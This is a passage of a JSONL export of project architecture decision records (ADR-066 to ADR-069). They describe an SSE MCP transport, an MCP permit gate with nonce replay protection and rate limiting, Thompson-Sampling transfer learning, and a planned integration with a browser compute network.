GET /sse |\n |-------------------------------------->|\n | event: endpoint |\n | data: /messages?sessionId= |\n |<--------------------------------------|\n | |\n | POST /messages?sessionId= |\n | {\"jsonrpc\":\"2.0\",\"method\":\"initialize\",...}\n |-------------------------------------->|\n | event: message |\n | data: {\"jsonrpc\":\"2.0\",\"result\":{...}}\n |<--------------------------------------|\n | |\n | POST /messages?sessionId= |\n | {\"jsonrpc\":\"2.0\",\"method\":\"tools/call\",\"params\":{\"name\":\"brain_search\",...}}\n |-------------------------------------->|\n | event: message |\n | data: {\"jsonrpc\":\"2.0\",\"result\":{...}}\n |<--------------------------------------|\n | |\n | (keepalive comments) |\n |<--------------------------------------|\n```\n\n1. Client opens `GET /sse`. Server generates a UUID session ID, creates an `mpsc::channel`, stores the sender in the session map, and returns an SSE stream.\n2. The first SSE event (`endpoint`) tells the client where to POST messages.\n3. Client sends JSON-RPC requests to `POST /messages?sessionId=`.\n4. Server parses the request, dispatches to the appropriate handler, and sends the response back through the SSE channel.\n5. KeepAlive comments prevent connection timeouts on proxies and load balancers.\n6. On disconnect, the session is cleaned up from the `DashMap`.\n\n### 3.2 Session Management\n\n```rust\n// In AppState\nsessions: Arc>>\n```\n\nEach SSE connection creates a session with:\n- A UUID session ID\n- An `mpsc::channel(64)` for buffering responses\n- A `DashMap` entry mapping session ID to the channel sender\n\nThe SSE stream reads from the channel receiver. When the client disconnects (stream drops), the cleanup closure removes the session from the map. The channel buffer of 64 prevents slow clients from blocking the server while providing backpressure.\n\n### 3.3 MCP Protocol Implementation\n\nThe `/messages` handler implements the MCP protocol methods:\n\n| Method | Handler | Description |\n|--------|---------|-------------|\n| `initialize` | Inline | Returns protocol version `2024-11-05`, server name `pi-brain`, capabilities |\n| `initialized` | Inline | Acknowledgment, returns empty result |\n| `notifications/initialized` | Inline | Notification acknowledgment |\n| `tools/list` | `mcp_tool_definitions()` | Returns the full tool catalog |\n| `tools/call` | `handle_mcp_tool_call()` | Dispatches to HTTP loopback proxy |\n\n### 3.4 HTTP Loopback Proxy\n\nTool calls are not handled directly in the SSE message handler. Instead, they are proxied to the server's own REST API via HTTP loopback. This ensures that:\n\n1. All existing middleware (CORS, rate limiting, body size limits, tracing) applies uniformly\n2. Authentication and verification logic is not duplicated\n3. The REST API and MCP SSE surface expose identical behavior\n4. Testing is simplified \u2014 REST endpoint tests cover both transport paths\n\nThe proxy constructs an HTTP request to `http://127.0.0.1:{PORT}/v1/...` with the appropriate method, path, and body derived from the MCP tool call arguments.\n\n### 3.5 Tool Catalog\n\n22 tools are exposed via the SSE transport, grouped into four categories:\n\n**Core Brain (10)**: `brain_share`, `brain_search`, `brain_get`, `brain_vote`, `brain_transfer`, `brain_drift`, `brain_partition`, `brain_list`, `brain_delete`, `brain_status`\n\n**LoRA Sync (1)**: `brain_sync`\n\n**Brainpedia (6, ADR-062)**: `brain_page_create`, `brain_page_get`, `brain_page_delta`, `brain_page_deltas`, `brain_page_evidence`, `brain_page_promote`\n\n**WASM Nodes (5, ADR-063)**: `brain_node_list`, `brain_node_publish`, `brain_node_get`, `brain_node_wasm`, `brain_node_revoke`\n\nEach tool definition includes a JSON Schema `inputSchema` specifying required and optional parameters, types, and descriptions.\n\n## 4. Implementation\n\n### 4.1 SSE Handler\n\n```rust\nasync fn sse_handler(\n State(state): State,\n) -> Sse>> {\n let session_id = Uuid::new_v4().to_string();\n let (tx, rx) = tokio::sync::mpsc::channel::(64);\n state.sessions.insert(session_id.clone(), tx);\n\n let stream = async_stream::stream! {\n // First event: tell client where to POST\n yield Ok(Event::default()\n .event(\"endpoint\")\n .data(format!(\"/messages?sessionId={session_id}\")));\n\n // Stream responses from the channel\n let mut rx = rx;\n while let Some(msg) = rx.recv().await {\n yield Ok(Event::default().event(\"message\").data(msg));\n }\n\n // Cleanup on disconnect\n sessions_cleanup.remove(&session_id_cleanup);\n };\n\n Sse::new(stream).keep_alive(KeepAlive::default())\n}\n```\n\n### 4.2 Message Handler\n\n```rust\nasync fn messages_handler(\n State(state): State,\n Query(query): Query,\n body: String,\n) -> StatusCode {\n let sender = match state.sessions.get(&query.session_id) {\n Some(s) => s.clone(),\n None => return StatusCode::NOT_FOUND,\n };\n\n let request: serde_json::Value = match serde_json::from_str(&body) {\n Ok(v) => v,\n Err(e) => {\n // Send JSON-RPC parse error through the SSE channel\n let _ = sender.send(error_response(-32700, e)).await;\n return StatusCode::ACCEPTED;\n }\n };\n\n let response = match method {\n \"initialize\" => { /* protocol handshake */ },\n \"tools/list\" => { /* return tool catalog */ },\n \"tools/call\" => { /* HTTP loopback proxy */ },\n _ => { /* method not found */ },\n };\n\n let _ = sender.send(serde_json::to_string(&response).unwrap()).await;\n StatusCode::ACCEPTED\n}\n```\n\n### 4.3 Connection\n\nClaude Code clients connect with:\n\n```bash\nclaude mcp add pi --url https://pi.ruv.io/sse\n```\n\nThis registers the SSE endpoint. Claude Code opens the SSE connection, reads the `endpoint` event, and sends all subsequent MCP requests to the `/messages` URL with the provided session ID.\n\n### 4.4 CORS Configuration\n\nThe SSE endpoint shares the same CORS layer as the REST API:\n\n| Allowed Origin | Purpose |\n|----------------|---------|\n| `https://brain.ruv.io` | Legacy brain domain |\n| `https://pi.ruv.io` | Primary domain |\n| `https://ruvbrain-875130704813.us-central1.run.app` | Direct Cloud Run URL |\n| `http://localhost:8080` | Local development |\n| `http://127.0.0.1:8080` | Local development (IP) |\n\nAllowed methods: GET, POST, DELETE, OPTIONS. Allowed headers: Authorization, Content-Type, Accept.\n\n### 4.5 KeepAlive\n\n`Sse::new(stream).keep_alive(KeepAlive::default())` sends periodic SSE comments (`:keepalive` lines) to prevent intermediate proxies, load balancers, and Cloud Run from closing idle connections. The default interval is 15 seconds.\n\n## 5. Consequences\n\n### Positive\n\n- **Zero additional infrastructure**: SSE runs on the same binary and port as the REST API\n- **Native Claude Code support**: `claude mcp add --url` is the standard way to connect remote MCP servers\n- **Full tool parity**: All 22 tools available via both stdio (local `mcp-brain`) and SSE (remote `pi.ruv.io`)\n- **Reused middleware**: Rate limiting, CORS, authentication, and verification apply uniformly via the loopback proxy\n\n### Negative\n\n- **Single-direction streaming**: SSE is server-to-client only. The client must POST to a separate endpoint. WebSocket would allow bidirectional messaging but is not part of the MCP spec.\n- **Session memory**: Each active SSE connection holds a channel and a `DashMap` entry. Under high concurrent connections this grows linearly. The 64-message buffer per session bounds memory per connection.\n- **Cloud Run timeout**: Cloud Run has a maximum request timeout (default 5 minutes, configurable up to 60 minutes). Long-lived SSE connections that exceed this timeout are terminated. KeepAlive prevents idle disconnects, but the maximum lifetime is bounded by Cloud Run's configuration.\n\n### Neutral\n\n- The loopback proxy adds one local HTTP hop per tool call. On the same machine this adds sub-millisecond latency, which is negligible compared to Firestore round-trips and embedding computation.\n- Error responses from the REST API are translated into JSON-RPC error format before being sent through the SSE channel.", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-066-sse-mcp-transport.md", "created_at": "2026-03-28T11:58:49.704837+00:00", "content_hash": "fead5e6fb1ee9ec1647fcc626b34e257cf035a6fcba581ecfe44db3a9f9a3218"} +{"id": "4e7d6881-6b8e-44a0-b49a-113b4c41eaa2", "source": "adr", "text": "# ADR-067: MCP Gate Permit System\n\n**Status**: Accepted, Implemented\n**Date**: 2026-02-28\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-014 (Coherence Engine), ADR-058 (Hash Security Optimization), ADR-059 (Shared Brain Google Cloud), ADR-060 (Shared Brain Capabilities)\n\n## 1. Context\n\nAI agents executing in production environments need a decision gate between intent and action. An agent that can call any tool without verification is a liability. The coherence gate (ADR-014) provides the mathematical foundation \u2014 anytime-valid e-processes, conformal prediction sets, mincut structural witnesses \u2014 but it needs an MCP-native interface so Claude Code agents can request permissions via the standard tool-calling protocol.\n\nThe `mcp-gate` crate (`crates/mcp-gate/`) wraps the `cognitum-gate-tilezero` coherence gate in an MCP stdio server. It exposes three tools: `permit_action` (request permission), `get_receipt` (audit trail), and `replay_decision` (deterministic verification). All decisions are recorded in a cryptographic witness chain. Contributor authentication uses SHAKE-256 pseudonym derivation, and access is rate-limited via BudgetTokenBucket.\n\n## 2. Decision\n\nImplement `mcp-gate` as a standalone MCP stdio server that wraps the existing `cognitum-gate-tilezero` gate. Use SHAKE-256 for pseudonym derivation (consistent with the brain server's authentication scheme), challenge nonces for replay protection, and BudgetTokenBucket for rate limiting. All gate decisions produce cryptographically chained witness receipts.\n\n## 3. Architecture\n\n### 3.1 Crate Structure\n\n```\ncrates/mcp-gate/\n src/\n lib.rs -- Public API, re-exports\n main.rs -- Entry point (McpGateServer::run_stdio)\n server.rs -- MCP protocol handler (JSON-RPC over stdio)\n tools.rs -- Tool implementations (permit, receipt, replay)\n types.rs -- Request/response types, JSON-RPC types\n Cargo.toml\n```\n\nThe crate depends on:\n- `cognitum-gate-tilezero`: The coherence gate engine (TileZero)\n- `tokio`: Async runtime for stdio processing\n- `serde` / `serde_json`: JSON-RPC serialization\n- `thiserror`: Error types\n\n### 3.2 MCP Tools\n\n**`permit_action`**: Request permission for an action. The gate evaluates three witnesses:\n\n| Witness | What it measures | Output |\n|---------|-----------------|--------|\n| Structural | Mincut graph analysis of the action's connectivity | `cut_value`, `partition` status, critical edges |\n| Predictive | Conformal prediction set for the action's outcome | `set_size`, `coverage` target |\n| Evidential | Anytime-valid e-process accumulation | `e_value`, `verdict` (accept/continue/reject) |\n\nReturns one of three decisions:\n- **Permit**: Action allowed. Returns a `PermitToken` (base64-encoded, time-bounded) and a witness receipt.\n- **Defer**: Action escalated. Returns escalation info (reason, suggested reviewer) and a witness receipt.\n- **Deny**: Action blocked. Returns denial reason and a witness receipt.\n\n**`get_receipt`**: Retrieve a witness receipt by sequence number. Each gate decision produces a receipt containing the decision, timestamp, witness summary, and a hash linking to the previous receipt. The chain is cryptographic \u2014 tampering with any receipt breaks the chain.\n\n**`replay_decision`**: Deterministically replay a past decision given the same inputs and state snapshot. Optionally verifies the hash chain integrity up to the replayed sequence number. Returns whether the replayed decision matches the original.\n\n### 3.3 SHAKE-256 Pseudonym Derivation\n\nContributor pseudonyms are derived from API keys using SHAKE-256, identical to the brain server (ADR-059, ADR-060):\n\n```rust\npub fn from_api_key(api_key: &str) -> AuthenticatedContributor {\n let mut hasher = Shake256::default();\n hasher.update(b\"ruvector-brain-pseudonym:\");\n hasher.update(api_key.as_bytes());\n let mut reader = hasher.finalize_xof();\n let mut buf = [0u8; 16];\n reader.read(&mut buf);\n let pseudonym = hex::encode(buf);\n // ...\n}\n```\n\nThis produces a 32-character hex pseudonym (128-bit) that:\n- Is deterministic: same API key always produces the same pseudonym\n- Is irreversible: the API key cannot be recovered from the pseudonym\n- Uses a domain-separated prefix (`ruvector-brain-pseudonym:`) to prevent cross-system correlation\n\n### 3.4 Challenge Nonce Replay Protection\n\nWrite operations (including `permit_action`) require a challenge nonce to prevent replay attacks:\n\n1. Client calls `GET /v1/challenge` to receive a fresh nonce\n2. Server generates a random nonce, stores it with a 5-minute TTL\n3. Client includes the nonce in the write request\n4. Server verifies the nonce exists and has not expired\n5. Server consumes the nonce (single-use)\n\nNonces are stored in a `NonceStore` backed by a `DashMap` with periodic TTL eviction.\n\n### 3.5 Rate Limiting\n\nThe `BudgetTokenBucket` pattern (shared with the brain server) provides per-contributor rate limiting:\n\n```rust\npub struct RateLimiter {\n write_buckets: DashMap,\n read_buckets: DashMap,\n write_limit: u32, // 100 writes/hour\n read_limit: u32, // 1000 reads/hour\n window: Duration, // 1 hour\n}\n```\n\nEach contributor (identified by pseudonym) gets independent token buckets for reads and writes. Buckets refill at window boundaries. Stale buckets (unused for 2 windows) are periodically evicted to prevent unbounded memory growth. The cleanup runs every 1000 operations.\n\n### 3.6 Multi-Factor Reputation Scoring\n\nThe reputation system gates access levels:\n\n```\ncomposite = accuracy^2 * uptime * stake_weight\n```\n\n| Factor | Measurement | Update |\n|--------|-------------|--------|\n| `accuracy` | Bayesian Beta(1,1) prior, updated from vote outcomes | `(upvotes+1)/(upvotes+downvotes+2)` after min 5 observations |\n| `uptime` | EMA of activity frequency | `uptime = 0.95 * uptime + 0.05` per contribution |\n| `stake_weight` | Fixed at 1.0 for v1 | Future: based on contribution volume |\n\n- New contributors start at composite ~0.1. Their gate requests are weighted 10x less.\n- Contributors with composite < 0.1 are flagged as potential poisoners and their permit requests are auto-denied.\n- Inactivity decay: `accuracy *= 0.95^months_inactive`, `uptime *= 0.90^months_inactive`.\n\n### 3.7 Contributor Pseudonym Revocation\n\nA contributor can be revoked by setting their reputation below the poisoning threshold (0.1). The `check_poisoning_penalty` function triggers when:\n- The contributor has >= 5 downvotes on their contributions\n- Their quality score falls below 0.2\n\nOnce penalized, the contributor's pseudonym is effectively revoked \u2014 all gate requests return Deny. The pseudonym remains in the system for audit purposes. The contributor can only recover by generating a new API key (and thus a new pseudonym), starting at the cold-start reputation of 0.1.\n\n## 4. Implementation\n\n### 4.1 Server Entry Point\n\n```rust\nlet server = McpGateServer::new();\nserver.run_stdio().await.expect(\"Server failed\");\n```\n\nThe server reads JSON-RPC requests from stdin, dispatches to tool handlers, and writes responses to stdout. The protocol version is `2024-11-05`.\n\n### 4.2 Request/Response Flow\n\n```\nstdin -> parse JSON-RPC -> match method:\n \"initialize\" -> return server info + capabilities\n \"tools/list\" -> return [permit_action, get_receipt, replay_decision]\n \"tools/call\" -> match tool name:\n \"permit_action\" -> TileZero::decide() -> PermitResponse | DeferResponse | DenyResponse\n \"get_receipt\" -> TileZero::get_receipt(seq) -> GetReceiptResponse\n \"replay_decision\" -> TileZero::replay(seq) -> ReplayDecisionResponse\n-> serialize JSON-RPC -> stdout\n```\n\n### 4.3 Permit Action Request\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"permit_action\",\n \"arguments\": {\n \"action_id\": \"cfg-push-7a3f\",\n \"action_type\": \"config_change\",\n \"target\": { \"device\": \"router-west-03\", \"path\": \"/network/interfaces/eth0\" },\n \"context\": { \"agent_id\": \"ops-agent-12\", \"session_id\": \"sess-abc123\", \"urgency\": \"normal\" }\n }\n }\n}\n```\n\n### 4.4 Permit Response (Permitted)\n\n```json\n{\n \"decision\": \"permit\",\n \"token\": \"eyJ0eXAi...\",\n \"valid_until_ns\": 1737158400000000000,\n \"witness\": {\n \"structural\": { \"cut_value\": 12.7, \"partition\": \"stable\", \"critical_edges\": 0 },\n \"predictive\": { \"set_size\": 3, \"coverage\": 0.92 },\n \"evidential\": { \"e_value\": 847.3, \"verdict\": \"accept\" }\n },\n \"receipt_sequence\": 1847392\n}\n```\n\n### 4.5 Error Codes\n\n| Code | Meaning |\n|------|---------|\n| -32001 | Receipt not found |\n| -32002 | Chain verification failed |\n| -32602 | Invalid request parameters |\n| -32603 | Internal server error |\n| -32700 | JSON parse error |\n\n## 5. Consequences\n\n### Positive\n\n- **Standard MCP interface**: Any MCP-compatible client (Claude Code, custom agents) can request gate permits without custom integration\n- **Cryptographic audit trail**: Every decision is chained. Tampering is detectable. Replays are deterministic.\n- **Shared auth scheme**: SHAKE-256 pseudonym derivation is identical between `mcp-gate` and `mcp-brain-server`, enabling cross-system contributor identity without sharing API keys\n- **Defense in depth**: Rate limiting + nonce replay protection + reputation gating + cryptographic witnesses form layered protection\n\n### Negative\n\n- **Stdio only**: The MCP gate is stdio-based, not SSE. It must run as a local process. Remote access requires wrapping in a network transport (deferred).\n- **Stateful**: The TileZero gate accumulates witness receipts in memory. Long-running sessions with many decisions grow linearly. Persistence to disk is deferred.\n\n### Neutral\n\n- The three-witness model (structural, predictive, evidential) is inherited from `cognitum-gate-tilezero`. The MCP gate does not add new decision logic \u2014 it provides protocol access to existing capabilities.\n- Pseudonym revocation is soft (reputation penalty) not hard (key revocation). A determined attacker can generate new API keys. This is acceptable because cold-start reputation (0.1) limits the blast radius of new pseudonyms.", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-067-mcp-gate-permit-system.md", "created_at": "2026-03-28T11:58:49.704981+00:00", "content_hash": "b57c39d154dc01460468dcc1baf1aa71f032d7c07cf693e2c223cf23ff009904"} +{"id": "fc13cd04-fbb6-4670-85b7-428f33645e89", "source": "adr", "text": "# ADR-068: Domain Expansion Transfer Learning\n\n**Status**: Accepted, Implemented\n**Date**: 2026-02-28\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-057 (Federated RVF Transfer Learning), ADR-060 (Shared Brain Capabilities), ADR-061 (Reasoning Kernel Architecture)\n\n## 1. Context\n\nThe Shared Brain (ADR-060) enables cumulative learning within a single domain. But real intelligence growth appears when knowledge from one domain accelerates learning in a different domain. A debugging heuristic from Rust should inform debugging in TypeScript. A planning strategy from infrastructure deployment should transfer to release management.\n\nThe `ruvector-domain-expansion` crate (`crates/ruvector-domain-expansion/`) implements cross-domain transfer learning using Meta Thompson Sampling with compact prior transfer. The core insight: true generalization is measured by whether Domain 2 converges faster than Domain 1 did, given priors extracted from Domain 1. If cost curves compress with each new domain, general problem-solving capability is increasing.\n\n## 2. Decision\n\nImplement a two-layer architecture: a policy learning layer (Meta Thompson Sampling with Beta priors) that chooses strategies across context buckets, and an operator layer (deterministic domain kernels) that generates tasks, evaluates solutions, and produces embeddings. Transfer happens through compact priors \u2014 not raw trajectories. Verification requires dual conditions: improved target AND not regressed source.\n\n## 3. Architecture\n\n### 3.1 Two-Layer Design\n\n**Policy Learning Layer** (`MetaThompsonEngine`):\n- Maintains per-domain, per-bucket, per-arm Beta distribution parameters\n- Selects strategy arms via Thompson Sampling (sample from posterior, pick highest)\n- Records outcomes as Bayesian posterior updates\n- Extracts compact `TransferPrior` summaries for cross-domain shipping\n- Seeds new domains with dampened priors from source domains\n\n**Operator Layer** (Domain implementations):\n- `RustSynthesisDomain`: Generates Rust function synthesis tasks, evaluates correctness\n- `PlanningDomain`: Generates multi-step planning tasks with dependencies and resources\n- `ToolOrchestrationDomain`: Generates multi-tool coordination tasks\n- Each domain implements `generate_tasks()`, `evaluate()`, `embed()`, `reference_solution()`\n\n### 3.2 Meta Thompson Sampling\n\nStandard Thompson Sampling maintains a Beta(alpha, beta) distribution per arm and samples to select. Meta Thompson Sampling extends this across domains:\n\n1. **Train on Domain 1**: Record outcomes, accumulate per-bucket posteriors\n2. **Extract TransferPrior**: Filter to buckets with sufficient evidence (alpha + beta > 12), package as a compact summary\n3. **Initialize Domain 2**: Seed with dampened priors from Domain 1 using sqrt-scaling\n4. **Train on Domain 2**: The transferred priors give Domain 2 a head start\n5. **Measure acceleration**: Compare convergence cycles with vs without transfer\n\n### 3.3 Dampened Sqrt-Scaling Priors\n\nWhen transferring priors from source to target, raw posteriors would over-commit the target to source-domain strategies. Dampening uses sqrt-scaling to reduce confidence while preserving the mean:\n\n```rust\nlet dampened = BetaParams {\n alpha: 1.0 + (params.alpha - 1.0).sqrt(),\n beta: 1.0 + (params.beta - 1.0).sqrt(),\n};\n```\n\nExample: A source prior of Beta(81, 21) (mean=0.79, very confident) becomes Beta(1 + sqrt(80), 1 + sqrt(20)) = Beta(9.94, 5.47) (mean=0.64, much less confident). The target retains the directional signal (strategy A is probably better than strategy B) but has enough uncertainty to adapt if the source signal does not transfer.\n\nCost EMA priors are transferred with pessimistic scaling (1.5x) to avoid under-budgeting in an unfamiliar domain.\n\n### 3.4 TransferPrior and PolicyKernel RVF Segments\n\nTransfer artifacts are serialized as RVF segments for the Shared Brain:\n\n| Segment | Type Code | Content |\n|---------|-----------|---------|\n| `TransferPrior` | `0x30` | Per-bucket, per-arm Beta parameters + cost EMA priors + training cycle count + witness hash |\n| `PolicyKernel` | `0x31` | Policy knobs (skip mode, prepass flag, speculation threshold) + holdout scores + fitness |\n| `CostCurve` | `0x32` | Ordered data points (cycle, accuracy, cost_per_solve, robustness, violations) + convergence thresholds |\n\nThe `rvf_bridge` module (enabled with `feature = \"rvf\"`) handles serialization via wire-format wrappers that convert `HashMap` to `Vec<(K, V)>` for JSON-safe encoding. SHAKE-256 witness chains cover the entire serialization for integrity.\n\n### 3.5 CostCurve Acceleration Tracking\n\nThe `AccelerationScoreboard` tracks convergence speed across domains:\n\n```rust\npub struct CostCurvePoint {\n pub cycle: u64,\n pub accuracy: f32,\n pub cost_per_solve: f32,\n pub robustness: f32,\n pub policy_violations: u32,\n pub timestamp: f64,\n}\n```\n\nConvergence thresholds define the acceptance test:\n- Target accuracy: 0.95\n- Target cost per solve: 0.01\n- Target robustness: 0.90\n- Max policy violations: 0\n\nA domain has converged when all four thresholds are simultaneously met. The acceleration factor is `baseline_cycles / transfer_cycles` \u2014 the ratio of how many cycles the target took without transfer vs with transfer. An acceleration factor > 1.0 means transfer helped.\n\n### 3.6 TransferVerification\n\nThe verification protocol enforces the generalization rule:\n\n```rust\nimpl TransferVerification {\n pub fn verify(\n source: DomainId,\n target: DomainId,\n source_before: f32,\n source_after: f32, // must not regress beyond 0.01 tolerance\n target_before: f32,\n target_after: f32, // must improve\n baseline_cycles: u64,\n transfer_cycles: u64,\n ) -> Self {\n let improved_target = target_after > target_before;\n let regressed_source = source_after < source_before - 0.01;\n let promotable = improved_target && !regressed_source;\n let acceleration_factor = baseline_cycles as f32 / transfer_cycles as f32;\n // ...\n }\n}\n```\n\nA transfer delta is promotable only when:\n1. `improved_target`: The target domain's score increased after applying the transfer\n2. `NOT regressed_source`: The source domain's score did not decrease beyond a 0.01 tolerance\n\nBoth conditions must hold. This prevents transfers that help the target at the expense of corrupting the source.\n\n### 3.7 Holdout Evaluation Protocol\n\nTransfers are validated on held-out tasks, not training tasks:\n\n1. `generate_holdouts(tasks_per_domain, difficulty)` creates holdout task sets per domain\n2. `evaluate_population()` runs all policy kernels against holdout tasks\n3. Holdout scores are recorded per kernel per domain\n4. `evolve_population()` selects top performers, mutates, records Pareto front\n\nThe holdout set is never used for training. This prevents overfitting to the evaluation metric.\n\n## 4. Implementation\n\n### 4.1 DomainExpansionEngine\n\nThe central orchestrator:\n\n```rust\npub struct DomainExpansionEngine {\n domains: HashMap>,\n pub thompson: MetaThompsonEngine,\n pub population: PopulationSearch,\n pub scoreboard: AccelerationScoreboard,\n pub meta: MetaLearningEngine,\n holdouts: HashMap>,\n counterexamples: HashMap>,\n}\n```\n\nInitialized with three domains: `rust_synthesis`, `structured_planning`, `tool_orchestration`. Four strategy arms: `greedy`, `exploratory`, `conservative`, `speculative`. Three difficulty tiers: `easy`, `medium`, `hard`.\n\n### 4.2 Transfer Flow\n\n```rust\n// 1. Record outcomes in source domain\nengine.evaluate_and_record(&source, task, solution, bucket, arm);\n\n// 2. Initiate transfer (extracts dampened priors)\nengine.initiate_transfer(&source, &target);\n\n// 3. Train on target domain (uses transferred priors)\nengine.evaluate_and_record(&target, task, solution, bucket, arm);\n\n// 4. Verify the transfer\nlet verification = engine.verify_transfer(\n &source, &target,\n source_before, source_after,\n target_before, target_after,\n baseline_cycles, transfer_cycles,\n);\nassert!(verification.promotable);\n```\n\n### 4.3 Population-Based Policy Search\n\nA population of 8 `PolicyKernel` variants runs in parallel. Each kernel tunes strategy knobs:\n\n- Skip mode (whether to skip low-confidence contexts)\n- Prepass flag (whether to run a fast prepass before full evaluation)\n- Speculation threshold (when to trigger dual-path execution)\n\nEvolution: evaluate all kernels on holdouts, record in Pareto front (accuracy vs cost vs robustness), keep top performers, mutate, increment generation.\n\n### 4.4 Meta-Learning Engine\n\nFive composable improvements layered on top of Thompson Sampling:\n\n| Component | Purpose |\n|-----------|---------|\n| `RegretTracker` | Measures cumulative regret vs oracle policy |\n| `DecayingBeta` | Time-decays Beta parameters for non-stationary environments |\n| `PlateauDetector` | Detects when cost curve flattens, suggests action (increase difficulty, transfer, restart) |\n| `ParetoFront` | Maintains non-dominated set of (accuracy, cost, robustness) |\n| `CuriosityBonus` | UCB-style exploration bonus for under-visited bucket/arm combinations |\n\n### 4.5 Integration with Shared Brain\n\nThe `DomainExpansionEngine` is instantiated in the `mcp-brain-server`'s `AppState`:\n\n```rust\nlet domain_engine = Arc::new(parking_lot::RwLock::new(\n ruvector_domain_expansion::DomainExpansionEngine::new(),\n));\n```\n\nThe `POST /v1/transfer` REST endpoint and the `brain_transfer` MCP tool invoke `engine.initiate_transfer()` and return the `TransferVerification` result.\n\n### 4.6 Counterexample Tracking\n\nSolutions scoring below 0.3 are stored as counterexamples per domain. These serve two purposes:\n1. Negative examples for future strategy selection (avoid strategies that produced poor results in similar contexts)\n2. Diagnostic data for understanding domain boundaries where transfer fails\n\n## 5. Consequences\n\n### Positive\n\n- **Measurable generalization**: The acceleration scoreboard provides a quantitative answer to \"is the system getting smarter across domains?\"\n- **Safe transfer**: Dampened priors prevent over-commitment to source-domain strategies. Dual verification prevents source regression.\n- **Compact transfer artifacts**: TransferPriors are small (per-bucket Beta parameters, not raw trajectories). They serialize to a few KB as RVF segments.\n- **Composable meta-learning**: Regret tracking, plateau detection, Pareto optimization, and curiosity bonuses layer independently and can be enabled/disabled per deployment.\n\n### Negative\n\n- **Three domains only**: The current implementation has three hard-coded domains (Rust synthesis, planning, tool orchestration). Adding new domains requires implementing the `Domain` trait and registering with the engine.\n- **No online transfer**: Transfer is initiated manually via `initiate_transfer()`. Automatic transfer triggering (e.g., when a domain's cost curve plateaus) is deferred.\n- **Population size fixed**: The population search uses 8 kernels. Tuning population size requires code changes.\n\n### Neutral\n\n- The 0.01 tolerance on source regression allows minor noise in evaluation scores without blocking transfers. This is a practical trade-off \u2014 evaluation noise from holdout sampling can cause small score fluctuations that are not true regressions.\n- Counterexamples grow unboundedly per domain. A pruning strategy (keep top-N by recency or informativeness) is deferred.", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-068-domain-expansion-transfer-learning.md", "created_at": "2026-03-28T11:58:49.705110+00:00", "content_hash": "ed311a4a2aca4df8a6b1662ae950b17b6015ee62a8b68a84dbd400c9d225f1c6"} +{"id": "3ce9b1a5-7e64-4a1c-8e83-b904707611c0", "source": "adr", "text": "# ADR-069: Edge-Net and Pi Brain Integration \u2014 Distributed Compute Intelligence\n\n**Status**: Proposed\n**Date**: 2026-02-28\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-059 (Shared Brain Google Cloud), ADR-060 (Shared Brain Capabilities), ADR-062 (Brainpedia Architecture), ADR-063 (WASM Executable Nodes), ADR-064 (Pi Brain Infrastructure), ADR-066 (SSE MCP Transport)\n\n## 1. Context\n\nTwo complementary systems exist in the ruvector ecosystem, both deployed on Google Cloud Run:\n\n**Pi Brain** (`ruvbrain` at `pi.ruv.io`) is a centralized shared intelligence substrate. It provides a knowledge graph with Bayesian quality scoring, federated MicroLoRA consensus weights, structured hash embeddings, MinCut graph partitioning, and SONA self-optimization. It exposes 22 tools via SSE MCP transport (`/sse`) and a REST API (`/v1/*`). All operations are protected by witness chains and a challenge-nonce authentication system. It runs as a single Rust binary on Cloud Run.\n\n**Edge-Net** (`examples/edge-net/`) is a distributed P2P browser compute network. Browser visitors contribute idle CPU cycles via Web Workers running Rust/WASM. Contributors earn rUv (Resource Utility Vouchers) based on compute donated. The network provides HNSW vector search, MicroLoRA adaptation, federated gradient gossip, entropy-based consensus, collective memory with hippocampal replay, and an adversarial coherence engine (RAC). It uses Pi-Key Ed25519 identity, a CRDT-based credit ledger, and a browser-based MCP server (`WasmMcpServer`).\n\nThese systems operate independently. The brain holds curated knowledge but is bottlenecked by single-origin compute for embedding generation, similarity search, and LoRA training. Edge-net has distributed compute capacity but no centralized knowledge substrate to draw from or contribute to. Connecting them creates a flywheel: edge nodes contribute compute that powers brain operations, brain knowledge improves edge node task routing, and rUv earned from brain operations incentivizes sustained edge participation.\n\n### Current Deployment\n\n| Service | URL | Platform |\n|---------|-----|----------|\n| `ruvbrain` (pi brain) | `https://pi.ruv.io` | Cloud Run, us-central1 |\n| `edge-net-dashboard` | `https://edge-net-dashboard-875130704813.us-central1.run.app` | Cloud Run, us-central1 |\n| `edge-net-genesis` | `https://edge-net-genesis-875130704813.us-central1.run.app` | Cloud Run, us-central1 |\n| `edge-net-relay` | `https://edge-net-relay-875130704813.us-central1.run.app` | Cloud Run, us-central1 |\n\n## 2. Decision\n\nIntegrate edge-net's distributed compute network with pi brain's knowledge substrate. Edge-net nodes become first-class brain contributors: they earn rUv for compute that powers embedding generation, vector similarity search, MinCut partitioning, and federated LoRA aggregation. The brain gains horizontally scalable compute; edge-net gains access to curated knowledge and a concrete economic purpose for contributed cycles.\n\nThe integration uses the edge-net relay as a bridge between browser WASM nodes and the brain's REST/MCP APIs. Edge-net's existing `WasmMcpServer` speaks MCP and can proxy requests to the brain's SSE MCP transport. Pi-Key identity maps to the brain's contributor pseudonym system (SHAKE-256 derivation) so that edge contributions are attributed and auditable.\n\n## 3. Architecture\n\n### 3.1 Integrated System Diagram\n\n```\n Browser Nodes (WASM) Cloud Run Services\n ==================== ==================\n\n +-----------+ +-----------+ +-----------+\n | edge-net | | edge-net | | edge-net |\n | node A | | node B | | node C | Contributors\n | (browser) | | (browser) | | (browser) | earn rUv for\n +-----+-----+ +-----+-----+ +-----+-----+ brain compute\n | | |\n | WebSocket | WebSocket |\n +-------+-------+-------+-------+\n | +-----------------+\n +------+------+ | edge-net-genesis|\n | edge-net | rUv ledger sync | (Cloud Run) |\n | relay +----------------------->| QDAG ledger |\n | (Cloud Run) | | Node registry |\n +------+------+ +-----------------+\n |\n | Brain API bridge\n | (REST or SSE MCP)\n |\n +------+------+ +-----------------+\n | ruvbrain | | edge-net |\n | (pi brain) | | dashboard |\n | pi.ruv.io | | (React, Cloud |\n | | | Run) |\n | Knowledge | +-----------------+\n | graph, LoRA |\n | 